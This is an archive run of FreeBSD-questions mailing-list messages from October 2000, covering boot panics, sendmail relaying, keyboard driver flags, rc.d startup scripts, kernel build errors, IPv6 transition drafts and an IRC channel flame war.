> to save it, the machine freezes. Otherwise, if I choose not to save the 
> profile, it resumes the loading. When it finishes detecting the hardware, it 
> saya 'panic: cannot mount root' and then reboots automatically in 15 
> seconds, only to return to the same condition...is there anything that can 
> be done?
> 
> I'd appreciate if there is any chance that I can run FreeBSD once and for 
> all...thank you for your attention!
> 
> Daniel Faria
> 
> Penetanguishene, Ontario, Canada


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Our pcs are using Outlook 2000....they all can receive email fine, but none
(except myself) can send... I have win2000 and they have win98 (yuck).

I was told that Sprint has activated the reverse DNS and that should of took
care of email leaving the building...but not! On the bind issue, how do I do
this? (sorry - I'm a windows guy....but I happy to be learning UNIX).

Thanks
Jim

-----Original Message-----
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Sent: Monday, October 30, 2000 10:39 AM
To: 'jpersinger@greenmachine.net'
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Subject: RE: Relay section needs appending


The /etc/hosts file has nothing to do with mail, per se.  It is simply a
convenient place to store name to address mappings, like DNS but on a much
smaller scale.  The second jpersinger in your example is just a local alias
for the machine, so that you can connect to it using just jpersinger,
instead of having to type out the whole hostname.  For the hosts table to
work properly, all the machines on your local network should have a line in
the file and, each machine needs a full copy of the file.

With respect to the underlying question (which I guess is something to do
with using a relay host for sending/recieving e-mail), you need to give us
more details of what you curretnly have set up (mail programs, etc), what
functionality you _expect_ to see, and what symptoms are being seen.

Dan

> -----Original Message-----
> From: Jim Persinger [mailto:jpersinger@greenmachine.net]
> Sent: Monday, October 30, 2000 2:42 PM
> To: 'john b p melesky'; Jim Persinger
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>
>
> That was the file.....It contained:
>
> IP, then what appears to be a system name, and then a send name. For
> example:
>
> 63.174.216.138   jpersinger.greenmachine.net jpersinger
>
> is the first jpersinger, the machine name or the user name?
> or is the second
> the user name?
>
> All other users can not send mail, but can get it.
>
> Mine works as expected.
>
>
> Thanks
>
> Jim Persinger
> -----Original Message-----
> From: john b p melesky [mailto:john@tyr.internal]
> Sent: Monday, October 30, 2000 9:30 AM
> To: jpersinger@greenmachine.net
> Cc: questions@FreeBSD.org
> Subject: Re: Relay section needs appending
>
>
> The only file i can think of is /etc/hosts. Try 'man hosts'
> for the file
> format.
>
> -johnnnnnnnn
>
> > I (with the help from a friend who is not available)
> installed FreeBSD
> this
> > weekend. It appeared that DNS was failing so had to modify a file to
> contain
> > all of the IPs and PC names....Can you tell me where that
> file is and the
> > name of it? I do remember that it had 'Relay' contained in it.
>
>
>
>
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A) It says the power to crash, now think about that one real
hard.......hmm....light buld lit up yet? OMG, maybe it means it will
crash/attempt to crash your PC? Good now that I'm glad you finally =
realized
that, next I've never used IRC (well I did for couple hours) next, I'm =
not
buggin anyone, that's just part of my siggy, if you don't like =
it...don't
click it, easy as cake.

--- www.nul.cjb.net --- The Power to Crash
--- www.FreeBSD.org --- The Power to Serve

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> --- www.nul.cjb.net --- The Power to Crash

Peter, do you really think that=B4s funny? This link will crash every =
browser
with
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even
angrier then.)
Go back to your script kiddies on IRC, but leave us alone.

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On Mon, Oct 30, 2000 at 04:33:27PM +0100, Fabien Derudder wrote:
> still unable to use the cut and paste features of moused. It is a 2 button
> mouse, and i know that i must enable the third button emulation but it seems
> not working...

run /stand/sysinstall , one of the options to configure
moused will let you pass additional arguments to it;

you want to add '-3' to the list.
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From owner-freebsd-questions  Mon Oct 30  8:13:25 2000
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I've just had precisely the same experience Simon Dick describes below (in his 
September 2 message to freebsd-stable) after I upgraded with cvsup from 
4.1-RELEASE to 4.1-STABLE.  Interesting bit is that after I unloaded kernel 
and successfully booted kernel.GENERIC, I tried compiling and installing the 
GENERIC kernel as MYKERNEL, but got exactly the same result - normal boot gave 
the "attach returned 6" message and hung a few lines later, while booting 
kernel.GENERIC worked.

I'm a newbie, having just installed FreeBSD as my first Unix about 5 weeks 
ago.  I'd very much appreciate help with the answers to 2 questions (and of 
course suggestions as to additional information I can provide):

1. What's the meaning of/reason for "flags 0x1?"

2. What should I do to avoid this particular problem in the future?

Thanks,

Jud

-------------------------------------------------------
Hiya, is there any reason why "flags 0x1" got added to the atkbd0 line
somewhere between 4.0 and 4.1? I'm asking as when I was trying to install
4.1-RELEASE it wasn't recognising the keyboard, installing with 4.0-RELEASE
worked, after which I tried cvsuping to 4.1-STABLE which still didn't work.

After some fiddling I found that it was the flags 0x1 part of atkbd0 which
was stopping it working and so just recompiled a new kernel and it worked.

Here's the error I found in the logs:
Sep  2 20:11:04 adsl /kernel: atkbdc0: <Keyboard controller (i8042)> at port 
0x60,0x64 on isa0
Sep  2 20:11:04 adsl /kernel: atkbd0: <AT Keyboard> flags 0x1 irq 1 on atkbdc0
Sep  2 20:11:04 adsl /kernel: device_probe_and_attach: atkbd0 attach returned 
6

I'm running a Duron 650 on an Asus A7V motherboard if that's any use.

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On Mon, Oct 30, 2000 at 11:13:09AM -0500, Jud wrote:
> I've just had precisely the same experience Simon Dick describes below (in his 
> September 2 message to freebsd-stable) after I upgraded with cvsup from 
> 4.1-RELEASE to 4.1-STABLE.  Interesting bit is that after I unloaded kernel 
> and successfully booted kernel.GENERIC, I tried compiling and installing the 
> GENERIC kernel as MYKERNEL, but got exactly the same result - normal boot gave 
> the "attach returned 6" message and hung a few lines later, while booting 
> kernel.GENERIC worked.
> 
> I'm a newbie, having just installed FreeBSD as my first Unix about 5 weeks 
> ago.  I'd very much appreciate help with the answers to 2 questions (and of 
> course suggestions as to additional information I can provide):
> 
> 1. What's the meaning of/reason for "flags 0x1?"

It sort of tells you in atkbd(4):
bit 0 (FAIL_IF_NO_KBD)
By default the driver will install even if a keyboard is not actually
connected to the system. This option prevents the driver from being
installed in this situation.

> 2. What should I do to avoid this particular problem in the future?

Does the visual config editor allow the changing of this bit? I've not
actually tried that (it only just occured to me). Someone mentioned that
the problem may be caused by some BIOS setting related to USB keyboards,
I still don't think it's good to enable this flag, it just makes it far
harder for some people to install it :(

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Its obvious that you can put shell scripts into rc.d but given the 
similarity and the fact that you put #!/usr/bin/perl into the header of 
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* ËÎÕð <netsong@netchina.com.cn> [001030 01:48] wrote:
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> 
>                      We want to know what style RAID support by FreeBSD 3.4.

Not very much, if you install FreeBSD 4.1.1 there's support for several
hardware raid cards (AMI mega raid, mylex, dpt, ide raid) and software
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On Mon, 30 Oct 2000 11:03:47 -0500  "Jim Persinger" wrote:
 +------------------
 | Our pcs are using Outlook 2000....they all can receive email fine, but none
 | (except myself) can send... I have win2000 and they have win98 (yuck).
 | 
 | I was told that Sprint has activated the reverse DNS and that should of took
 | care of email leaving the building...but not! On the bind issue, how do I do
 | this? (sorry - I'm a windows guy....but I happy to be learning UNIX).
 +------------------

Outbound mail is typically done via SMTP.  I'm guessing that you
are running sendmail as is the default SMTP server for the FreeBSD
install.  If that is the case then the default configuration is
going to refuse to relay mail for users that it does not consider
local.

You can prove this by first running 

    ps -auxww | grep sendmail

on the freebsd box, then check to see that the clients are getting
an error message that says "relaying denied" somewhere in the text.

Sendmail needs to have two things to be able to do what you want.
First it has to know how to turn an IP addres into a name.  Second
it has to be configured to allow the clients to relay mail through
it.  The simplest way to do all this is to list the internal hosts
in the /etc/hosts file.  Then to add these machine names to a file
called /etc/mail/relay-domains.  When that is done your FreeBSD
machine should allow those hosts to relay mail.  If you want to
learn more about all this look at the links on spam control at
www.sendmail.org.

chris

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Brian,

Thnaks for clarifying that. I'm working on a whole family of specs
(6on4, 6under4, 6from4, 6and4...) to confuse everybody even more :-)

No, Proposed Standard doesn't require interoperability - that's when you go to
Draft Standard. Yes, there were a couple of implementations of 6over4 around,
but I haven't yet thought about doing the due diligence to see if we are
ready for Draft Standard. There is at least one pending change to
the 6over4 spec that we agreed on a year ago (a SHOULD NOT instead of
a MUST NOT).

6over4 is an IPNGWG item. I have deleted NGTRANS from the copies.

  Brian Carpenter

Brian Zill wrote:
> 
> 6to4 and 6over4, while having unfortunately similar names, are quite
> different things.
> 
> 6to4 is a form of automatic IPv6 tunneling over IPv4.  The IPv4 address of
> the "home" end of the tunnel is encoded into the IPv6 prefix.  See
> draft-ietf-ngtrans-6to4-07.txt.
> 
> 6over4 is another IPv6 over "foo", where "foo" in this case is a
> multicast-enabled IPv4 network, instead of say Ethernet or FDDI.  See RFC
> 2529.
> 
> My recollection is that an implementation of 6over4 for some BSD flavor
> exists, since I recall someone performing some interoperability testing
> between our implementation and that implementation.  UCLA sounds familiar.
> Aren't two interoperating implementations a requirement for Proposed
> Standard? (RFC 2529 is at PS) I'm not aware of any others offhand, but it
> wouldn't surprise me if there were some.
> 
> --Brian
> 
> > -----Original Message-----
> > From: f.johan.beisser [mailto:jan@caustic.org]
> > Sent: Friday, 27 October, 2000 12:32
> > To: Brad Huntting
> > Cc: snap-users@kame.net; freebsd-questions@FreeBSD.ORG;
> > ngtrans@sunroof.eng.sun.com; ipng@sunroof.eng.sun.com
> > Subject: Re: 6over4 for KAME (FreeBSD)
> >
> >
> >
> > i'm not sure if this is what you mean, but:
> >
> > http://www.kfu.com/~nsayer/6to4/
> >
> > also, i think that it is documented on http://www.kame.net.
> >
> > of course, i oculd very well be talking out of my butt.
> >
> > -- jan
> >
> >
> >
> > On Fri, 27 Oct 2000, Brad Huntting wrote:
> >
> > >
> > > Has anyone started writing a 6over4 (rfc2529) driver for KAME and/or
> > > FreeBSD?
> > >
> > > I have a pointer to a UCLA project called "Virtual Ethernet" by
> > > Quang Nguyen (no email address given), but it was written for the
> > > Inria stack and FreeBSD2.  If there's nothing else available, I
> > > may use this as a guide.
> > >
> >
> >
> > -------/ f. johan beisser /--------------------------------------+
> >   http://caustic.org/~jan                      jan@caustic.org
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On Mon, Oct 30, 2000 at 10:45:42PM +0000, Siwei Liu wrote:
> I do all the things that the docs say, but I still cann't use 
> http://localhost:901 to use swat to config samba config file.
Have you enabled SWAT in /etc/inetd.conf? Have you restarted inetd?
Also, make sure you didn't place too much restrictions int /etc/hosts.allow
Try "telnet localhost 901" What is output?

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* Yifeng Xu <websoft@yahoo.com> [001030 07:23] wrote:
> I heard FreeBSD's pthread implemention is buggy, 
> several articles already reported problems, from small
> program only has few lines to complex program like
> MySQL.  this is user level thread headache.

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On Mon, Oct 30, 2000 at 04:24:40PM +0200, Micke Josefsson wrote:
> and then in your .login:
> 
> setenv LANG sv_SE.ISO_8859-1
> 
> does the trick!
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----- Original Message -----=20
From: "Chris Wasser" <cwasser@v-wave.com>
To: <freebsd-questions@FreeBSD.ORG>
Sent: Sunday, October 29, 2000 6:26 PM
Subject: FreeBSD on IRC? Anywhere?


> Anyone know if there's a FreeBSD channel on IRC that doesn't suck? =
#FreeBSD on EFNet is lamer then #Linux normally is and
> #freebsdhelp on EFnet isn't what I'm looking for. I recently =
discovered irc.freebsd.org but no one seems to talk there, is
> there an actual irc server where one can go for actual technical =
discussions about FreeBSD and don't have to deal with egos
> the size of a linux kernel tarball?

#freebsd on EfNet is lame because it's not a help channel ?  Does =
"technical discussions" mean help ?  #freebsdhelp is for "technical =
discussions" that involve other people helping you.  #freebsd is a =
channel for freebsd people to talk about shit, only some of which is =
about freebsd, and none of which is dealing with help questions.  There =
are two channels, if you don't like one or the other or both, deal with =
it without acting like a child. =20

The FreeBSD FAQ states loud and clear:

Channel #FreeBSD on EFNet is a FreeBSD forum, but don't go there for =
tech support or to try and get folks there to help you avoid the pain of =
reading man pages or doing your own research. It is a chat channel, =
first and foremost, and topics there are just as likely to involve sex, =
sports or nuclear weapons as they are FreeBSD. You Have Been Warned! =
Available at server irc.chat.org

If you can't be bothered to read the FAQ then tough ****.
As for a FreeBSD Channel other than those two FreeBSD channels, one =
again if you would READ THE FAQ it states:

14. Are there FreeBSD IRC (Internet Relay Chat) channels?

Yes, most major IRC networks host a FreeBSD chat channel:

  a.. Channel #FreeBSD on EFNet is a FreeBSD forum, but don't go there =
for tech support or to try and get folks there to help you avoid the =
pain of reading man pages or doing your own research. It is a chat =
channel, first and foremost, and topics there are just as likely to =
involve sex, sports or nuclear weapons as they are FreeBSD. You Have =
Been Warned! Available at server irc.chat.org.

  b.. Channel #FreeBSDhelp on EFNet is a channel dedicated to helping =
FreeBSD users. They are much more sympathetic to questions then #FreeBSD =
is.

  c.. Channel #FreeBSD on DALNET is available at irc.dal.net in the US =
and irc.eu.dal.net in Europe.

  d.. Channel #FreeBSD on UNDERNET is available at us.undernet.org in =
the US and eu.undernet.org in Europe. Since it is a help channel, be =
prepared to read the documents you are referred to.

  e.. Channel #FreeBSD on HybNet is available at irc.FreeBSD.org. This =
channel is a help channel.

Each of these channels are distinct and are not connected to each other. =
Their chat styles also differ, so you may need to try each to find one =
suited to your chat style. As with *all* types of IRC traffic, if you're =
easily offended or can't deal with lots of young people (and more than a =
few older ones) doing the verbal equivalent of jello wrestling, don't =
even bother with it.

I just get sick and tired of this attitude like you have a right to have =
people help you and a right to tell other people how to run their =
channel.  If you don't like #freebsd on EFNet and you're not willing to =
read the damn FAQ, then start your own EFNet FreeBSD channel and run it =
as you see fit.

Data/BasharTeg  from EFNet #L




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<DIV><FONT face=3DArial size=3D2>&gt; Anyone know if there's a FreeBSD =
channel on=20
IRC that doesn't suck? #FreeBSD on EFNet is lamer then #Linux normally =
is=20
and<BR>&gt; #freebsdhelp on EFnet isn't what I'm looking for. I recently =

discovered irc.freebsd.org but no one seems to talk there, is<BR>&gt; =
there an=20
actual irc server where one can go for actual technical discussions =
about=20
FreeBSD and don't have to deal with egos<BR>&gt; the size of a linux =
kernel=20
tarball?<BR></FONT></DIV>
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not a help=20
channel ?&nbsp; Does "technical discussions" mean help ?&nbsp; =
#freebsdhelp is=20
for "technical discussions" that involve other people helping you.&nbsp; =

#freebsd is a channel for freebsd people to talk about shit, only some =
of which=20
is about freebsd, and none of which is dealing with help =
questions.&nbsp; There=20
are two channels, if you don't like one or the other or both, deal with =
it=20
without acting like a child.&nbsp; </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>The FreeBSD FAQ states loud and =
clear:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Channel #FreeBSD on EFNet is a FreeBSD =
forum, but=20
don't go there for tech support or to try and get folks there to help =
you avoid=20
the pain of reading man pages or doing your own research. It is a chat =
channel,=20
first and foremost, and topics there are just as likely to involve sex, =
sports=20
or nuclear weapons as they are FreeBSD. You Have Been Warned! Available =
at=20
server irc.chat.org</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>If you can't be bothered to read the =
FAQ then tough=20
****.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>As for a FreeBSD Channel other than =
those two=20
FreeBSD channels, one again if you would READ THE FAQ it =
states:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>
<DIV class=3DQANDAENTRY>
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<P><A name=3DIRC></A><FONT face=3DArial size=3D2>14. Are there FreeBSD =
IRC (Internet=20
Relay Chat) channels?</FONT></P></DIV>
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<P><FONT face=3DArial size=3D2>Yes, most major IRC networks host a =
FreeBSD chat=20
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  <P><FONT face=3DArial size=3D2>Channel #FreeBSD on EFNet is a FreeBSD =
forum, but=20
  don't go there for tech support or to try and get folks there to help =
you=20
  avoid the pain of reading man pages or doing your own research. It is =
a chat=20
  channel, first and foremost, and topics there are just as likely to =
involve=20
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Warned!=20
  Available at server irc.chat.org.</FONT></P>
  <LI>
  <P><FONT face=3DArial size=3D2>Channel #FreeBSDhelp on EFNet is a =
channel=20
  dedicated to helping FreeBSD users. They are much more sympathetic to=20
  questions then #FreeBSD is.</FONT></P>
  <LI>
  <P><FONT face=3DArial size=3D2>Channel #FreeBSD on DALNET is available =
at=20
  irc.dal.net in the US and irc.eu.dal.net in Europe.</FONT></P>
  <LI>
  <P><FONT face=3DArial size=3D2>Channel #FreeBSD on UNDERNET is =
available at=20
  us.undernet.org in the US and eu.undernet.org in Europe. Since it is a =
help=20
  channel, be prepared to read the documents you are referred =
to.</FONT></P>
  <LI>
  <P><FONT face=3DArial size=3D2>Channel #FreeBSD on </FONT><A =
target=3D_top=20
  href=3D"http://www.hybnet.net/"><FONT face=3DArial =
size=3D2>HybNet</FONT></A><FONT=20
  face=3DArial size=3D2> is available at irc.FreeBSD.org. This channel =
is a help=20
  channel.</FONT></P></LI></UL>
<P><FONT face=3DArial size=3D2>Each of these channels are distinct and =
are not=20
connected to each other. Their chat styles also differ, so you may need =
to try=20
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traffic,=20
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more than=20
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even=20
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how to run=20
their channel.&nbsp; If you don't like #freebsd on EFNet and you're not =
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On Mon, 30 Oct 2000 10:38:56 -0600  Jeremy Vandenhouten wrote:
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 | Its obvious that you can put shell scripts into rc.d but given the 
 | similarity and the fact that you put #!/usr/bin/perl into the header of 
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Yes, but the file name has to match '*.sh' and do something useful when the
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* Jeremy Vandenhouten <jeremy.vandenhouten@marquette.edu> [001030 08:39] wrote:
> Its obvious that you can put shell scripts into rc.d but given the 
> similarity and the fact that you put #!/usr/bin/perl into the header of 
> the file, is it possible to put perl scripts into rc.d as well?

It _looks_ possible:

case ${local_startup} in
[Nn][Oo] | '')
        ;;
*)
        echo -n 'Local package initialization:'
        for dir in ${local_startup}; do
                if [ -d "${dir}" ]; then
                        for script in ${dir}/*.sh; do
                                if [ -x "${script}" ]; then
                                        (set -T
                                         trap 'exit 1' 2
                                         ${script} start)
                                fi
                        done
                fi
        done
        echo .
        ;;

why not give it a try and tell us?

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> Hope the information tells you what i've done wrong (-:
>

That all looks pretty good to me, perhaps your client configuration is
wrong.

> Thanks,
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mooo!

    I am writing a non-trivial application, and one of the things that will
be very important for it will be to work in multiple locales -- not just
mainstream locales like english, french, german, etc ..., but others,
including russian (cyrillic), japanese (DBCS), etc ...

    Where might I find documentation on adding support for this to my
program.  Of course, I'd like for this to be as cross-platform as
possible -- my program currently runs under FreeBSD, Solaris, and Linux.

    The application is already localized into many of these languages, but
i'm worried about things such as input locales, etc. ...  I'm also assuming
that the base strcmp, strcasecmp, and all those that ship in the OS do not
support DBCS, etc ...

    where would be a good place to start?

    thanks!

    marc.





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	I have just run inot something for the second tiem. 

	I hav always built amanda by hand, rather than using the ports tree,
	because I need a number of configure flags for local reasons.

	Well, I just hit upon the 2nd package like that (ucd-snmp) so I geuss
	it's time to learn how to do thsi "the correct wya"

	So, how can O pass extra options to the configure script, while still
	using the ports tree to build a given package?

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> > the file, is it possible to put perl scripts into rc.d as well?
> 
> It _looks_ possible:
> 
> case ${local_startup} in
> [Nn][Oo] | '')
>        ;;
> *)
>        echo -n 'Local package initialization:'
>        for dir in ${local_startup}; do
>                if [ -d "${dir}" ]; then
>                        for script in ${dir}/*.sh; do
>                                if [ -x "${script}" ]; then
>                                        (set -T
>                                         trap 'exit 1' 2
>                                         ${script} start)
>                                fi
>                        done
>                fi
>        done
>        echo .
>        ;;
> 

Given this line right here:

          for script in ${dir}/*.sh; do

It looks like all you would have to do is add another identical for 
loop and add something similar... For instance if all your perl scripts 
ended in .pl... 

for script in ${dir}/*.pl; do

Yes, yes I know that is supposed to be for older perl libraries but in 
this case...

Just one question, where did this snippet come from?

Jeremy




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Now that koffice (along with kword) is in the ports tree, I'd like to
compare it to the other WP packages available for FreeBSD. However,
the online help doesn't seem to be working (ok, it's a beta). Before I
can actually use it to write something, I need to be able to set the
format for the page number in the headers. Among other interesting
problems.

Can somoene tell me how to do that (or that I can't), and provide a
pointer for more documentation (the kde/koffice/kword web sites didn't
help much there).

	Thanx,
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* Jeremy Vandenhouten <jeremy.vandenhouten@marquette.edu> [001030 09:04] wrote:
> 
> > > the file, is it possible to put perl scripts into rc.d as well?
> > 
> > It _looks_ possible:
> > 
> > case ${local_startup} in
> > [Nn][Oo] | '')
> >        ;;
> > *)
> >        echo -n 'Local package initialization:'
> >        for dir in ${local_startup}; do
> >                if [ -d "${dir}" ]; then
> >                        for script in ${dir}/*.sh; do
> >                                if [ -x "${script}" ]; then
> >                                        (set -T
> >                                         trap 'exit 1' 2
> >                                         ${script} start)
> >                                fi
> >                        done
> >                fi
> >        done
> >        echo .
> >        ;;
> > 
> 
> Given this line right here:
> 
>           for script in ${dir}/*.sh; do
> 
> It looks like all you would have to do is add another identical for 
> loop and add something similar... For instance if all your perl scripts 
> ended in .pl... 

Well you don't need them to end with .pl, having the perl interpreter
magic is sufficient, you can name a perl script foo.sh as long as you
have the interpreter line set.

If you wanted to you could make a .sh that was a /bin/sh script that
would just run a .pl that's in /usr/local/etc/rc.d/something.pl.

> 
> for script in ${dir}/*.pl; do
> 
> Yes, yes I know that is supposed to be for older perl libraries but in 
> this case...
> 
> Just one question, where did this snippet come from?

/etc/rc

:)

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hi,
   i need some help on this.

   i am trying to allocate static array of objects size 70MB. the array is 
declared as a local variable. the executable dumped a core.

i tried declaring it as a global array. i was told that the global segement is
usually larger than the stack segement. but in this case the compilation itself
dumped a huge core.

can some one explain as to why this could be happenning.

the above method worked in linux.  

a little probing showed that the i was execeeding the stack size. " ulimit -a ".
(when the array was declared as a local variable.)

then i tried something like below to change the limits. i ran a small test prog.
with the following code.

/* start od structure of the test prog */
struct rlimit lim;

lim.rlim_cur=RLIM_INFINITY;
lim.rlim_max=RLIM_INFINITY;

setrlimit(RLIMIT_STACK, &lim);
setrlimit(RLIMIT_DATA, &lim);

/* end     */

there was however no change in the limits. i had logged in as the root.
i belive the hard limit can be changed only by super user processes.

i am using freebsd-3.3 

is there no equivalent parameter to RLIMIT_AS in freebsd? this parameter is 
available in linux to change the virtual memory settings.
 
is there an alternate method to achieve what i am trying to do?

thanks in advance

regards
harsha




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* stanb@panix.com <stanb@panix.com> [20001030 20:01]:
=>	I have just run inot something for the second tiem. 
=>
=>	I hav always built amanda by hand, rather than using the ports tree,
=>	because I need a number of configure flags for local reasons.
=>
=>	Well, I just hit upon the 2nd package like that (ucd-snmp) so I geuss
=>	it's time to learn how to do thsi "the correct wya"
=>
=>	So, how can O pass extra options to the configure script, while still
=>	using the ports tree to build a given package?

You might have to modify the Makefile in /usr/ports/../port but I maybe
wrong ...

=>
=>-- 
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"Ing. Jesus Graveran Mesa" wrote:
> 
> Saludos Sr. Daniel Frazier.
> 
> Mi nombre es Jesus Graveran Mesa y me intereso por la computacion. Soy un
> cubano de la ciudad de Las Tunas, en la region oriental del pais.
> 
> Trabajo en informatica y me interesa conocer el FreeBSD como sistema
> operativo. ?En que me podria Ud. ayudar?. No domino el ingles como para
> escribirle en su lengua, pero estoy enfrascado en poder hacerlo.
> 
> Un caluroso saludo,
> 
> Jakob Buck wrote:
> >
> >
> > It's here it goes wrong, now the only thing that happens is that a
> > white square appers the the upper left corner, and nothing else ?
> >
> > Asus V6800 (nvidia geforce ddr)
> 
> if i remember reading correctly, you shouldn't use XF86Setup if the card
> you're using will use the nv driver... use xf86config.  doublecheck man
> nv... i've only got 3.3.6 on my box at work so I don't have that man page
> installed.
> 

Jesus,
unfortunately my comprehension of the spanish language is very limited.
If you cc the list maybe someone there will be able to help.

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From owner-freebsd-questions  Mon Oct 30  9:24:26 2000
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First, thanks, Simon for telling me how to solve this quite aggravating little 
problem.

Interesting if it would be USB keyboard related.  Have a MS Natural non-USB 
kbd.  (Recently upgraded to XFree86 4.0.1 and saw option to choose MS Natural 
in X's config - option may have been there before, but first time I noticed.  
Tried reconfiguring X to generic kbd, but no difference.)  When fiddling with 
things to try to get MYKERNEL to boot, one thing I tried was disabling my USB 
port in BIOS (hadn't had anything connected to it - enabled it when I was 
thinking of a webcam at one point and never disabled it).  Made no difference.

Jud


>===== Original Message From simond@irrelevant.org =====
>On Mon, Oct 30, 2000 at 11:13:09AM -0500, Jud wrote:
[snip]
>> 1. What's the meaning of/reason for "flags 0x1?"
>
>It sort of tells you in atkbd(4):
>bit 0 (FAIL_IF_NO_KBD)
>By default the driver will install even if a keyboard is not actually
>connected to the system. This option prevents the driver from being
>installed in this situation.
>
>> 2. What should I do to avoid this particular problem in the future?
>
>Does the visual config editor allow the changing of this bit? I've not
>actually tried that (it only just occured to me). Someone mentioned that
>the problem may be caused by some BIOS setting related to USB keyboards,
>I still don't think it's good to enable this flag, it just makes it far
>harder for some people to install it :(
>
>--
>Simon Dick					simond@irrelevant.org



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From owner-freebsd-questions  Mon Oct 30  9:27:13 2000
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Subject: Re: FreeBSD on IRC? Anywhere?
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On Mon, Oct 30, 2000 at 08:53:10AM -0800, Jeremiah Gowdy wrote:
> #freebsd on EfNet is lame because it's not a help channel ?  Does
> "technical discussions" mean help ? #freebsdhelp is for "technical
> discussions" that involve other people helping you.  #freebsd is a
> channel for freebsd people to talk about shit, only some of which
> is about freebsd, and none of which is dealing with help questions.
> There are two channels, if you don't like one or the other or both,
> deal with it without acting like a child.

I didn't realize I was acting like a child, simply stating opinion,
if you don't like that, tough **** to you as well. I don't think it's
a stretch to go to a named channel which to most people would indicate
that discussions about FreeBSD happen in (such as #FreeBSD) and ask
for specific information which doesn't fall into your "usual newbie
questions".

But I guess that logic escapes you. You do have one valid point however,
I should have read the FAQ and saved myself the time and effort of
dealing with the patronage in #FreeBSD and replying to people like you.

> I just get sick and tired of this attitude like you have a right
> to have people help you and a right to tell other people how to run
> their channel.  If you don't like #freebsd on EFNet and you're not
> willing to read the damn FAQ, then start your own EFNet FreeBSD
> channel and run it as you see fit.

You assume too much. I don't think I have the "right" to tell anyone
to do anything, much less then how to run "their" channel.

No matter, I found a decent FreeBSD channel where I can go to have
intelligent conversations with people on my wavelength.

Have a nice day.

(PS: don't bother replying, I really have no wish to continue this
discussion with you simply because you cannot carry a conversation
on in a civilized manner, any replies >/dev/null)

TDF/Chris Wasser


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* harsha  <crazyharshu@rediffmail.com> [001030 09:19] wrote:
> hi,
>    i need some help on this.
> 
>    i am trying to allocate static array of objects size 70MB. the array is 
> declared as a local variable. the executable dumped a core.

Please provide some sample source.

-Alfred


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Hi there

I just recently installed FreeBSD and decided to recompile my kernel, I ran into an error while compiling the kernel which I could not find any information on in the past mailing lists and other help resources at FreeBSD.org, could anyone help to point me in the right direction to resolve this error, or point out what I am doing wrong.

Bellow is the output from the kernel compile
cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi  -nostdinc -I- -I. -I../.. -I../../../include  -D_KERNEL -include opt_global.h -elf -mpreferred-stack-boundary=2  config.c
cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes  -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual  -fformat-extensions -ansi  -nostdinc -I- -I. -I../.. -I../../../include  -D_KERNEL -include opt_global.h -elf  -mpreferred-stack-boundary=2  setdef1.c
touch hack.c
cc -elf -shared -nostdlib hack.c -o hack.So
rm -f hack.c
sh ../../conf/newvers.sh MYKERNEL 
cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes  -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual  -fformat-extensions -ansi  -nostdinc -I- -I. -I../.. -I../../../include  -D_KERNEL -include opt_global.h -elf  -mpreferred-stack-boundary=2  vers.c
linking kernel
umass.o: In function `umass_cam_attach_sim':
umass.o(.text+0x1273): undefined reference to `cam_simq_alloc'
umass.o(.text+0x1299): undefined reference to `cam_sim_alloc'
umass.o(.text+0x12b2): undefined reference to `xpt_bus_register'
umass.o(.text+0x12c2): undefined reference to `cam_simq_free'
umass.o: In function `umass_cam_rescan_callback':
umass.o(.text+0x12db): undefined reference to `xpt_free_path'
umass.o: In function `umass_cam_rescan':
umass.o(.text+0x1325): undefined reference to `xpt_periph'
umass.o(.text+0x132e): undefined reference to `xpt_create_path'
umass.o(.text+0x1341): undefined reference to `xpt_setup_ccb'
umass.o(.text+0x135c): undefined reference to `xpt_action'
umass.o: In function `umass_cam_detach_sim':
umass.o(.text+0x1413): undefined reference to `xpt_bus_deregister'
umass.o(.text+0x1431): undefined reference to `cam_sim_free'
umass.o: In function `umass_cam_detach':
umass.o(.text+0x1469): undefined reference to `xpt_create_path'
umass.o(.text+0x1480): undefined reference to `xpt_async'
umass.o(.text+0x1488): undefined reference to `xpt_free_path'
umass.o: In function `umass_cam_action':
umass.o(.text+0x17ad): undefined reference to `xpt_done'
umass.o(.text+0x17bd): undefined reference to `xpt_done'
umass.o: In function `umass_cam_cb':
umass.o(.text+0x18b1): undefined reference to `xpt_done'
umass.o: In function `umass_cam_sense_cb':
umass.o(.text+0x1928): undefined reference to `xpt_done'
umass.o(.text+0x1939): undefined reference to `xpt_done'
*** Error code 1

Stop in /usr/src/sys/compile/MYKERNEL.
leach@yellow-belly:/usr/src/sys/compile/MYKERNEL>

I have also attached the config file.




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From owner-freebsd-questions  Mon Oct 30  9:47:57 2000
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How far away is your buddy's apartment.  I have used a couple of different
solutions in warehouse/office combinations with good results.  I haven't
used anything with FreeBSD yet.  We are putting one of these in our office
soon.

I have used the Cisco Aironet Access Point 340 with the Cisco cards both
AIR-PCI340 and AIR-PCM340.  I have used the Intel Pro/Wireless 2011 with the
Cisco Accesspoint 340.  I'm getting a Linksys Access point WAP11 and will be
trying it with both Cisco and Intel Wireless cards.

As long as everything supports 802.11b you can mix and match cards without
much of a problem.  Configuration is the trick.  Some vendors will call
things by different names so when you are trying to get a mix of stuff
working you have to read between the lines.  You get about 300 feet on the
range with these cards.  The network speeds range from 11mbps to 2mbps.  It
depends on signal strength, etc.  All network cards are PCMCIA.  To use it
in a PCI slot you buy an adapter.  You can plan on spending anywhere from
$250 - $1000 for the access point (aka. hub) and anywhere from $175 to $300
for a NIC.  I prefer the Cisco Accesspoint stuff.  The cards are designed
better for laptops.  The antennas are design to be lower profile.  The
access points are slick they are built for wall/ceiling mounts in unfriendly
areas.  The Cisco Aironet devices are the ones they use in Home Depots for
the registers and inventory control guns.

You really need to watch the specs on the lower end devices.  What you find
